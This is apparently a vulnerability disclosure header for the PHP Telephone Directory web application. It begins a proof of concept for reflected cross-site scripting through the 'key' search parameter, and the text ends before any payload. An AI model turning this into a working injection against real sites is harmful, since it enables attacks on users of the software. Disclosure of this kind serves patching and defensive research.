# Exploit Title: PHP Telephone Directory - Multiple Vulnerabilities # Date: 2016-10-16 # Exploit Author: larrycompress # Contact: larrycompress@gmail.com # Type: webapps # Platform: PHP # Vendor Homepage: http://www.pagereactions.com/product.php?pku=2 # Software Link: http://www.pagereactions.com/downloads/phptelephonedirectory.zip --------------------------------------------------------------------------------- POC as follows : # 0x00 Reflected XSS --- 1.In public search : http://192.168.1.112/phptelephonedirectory/index.php?key=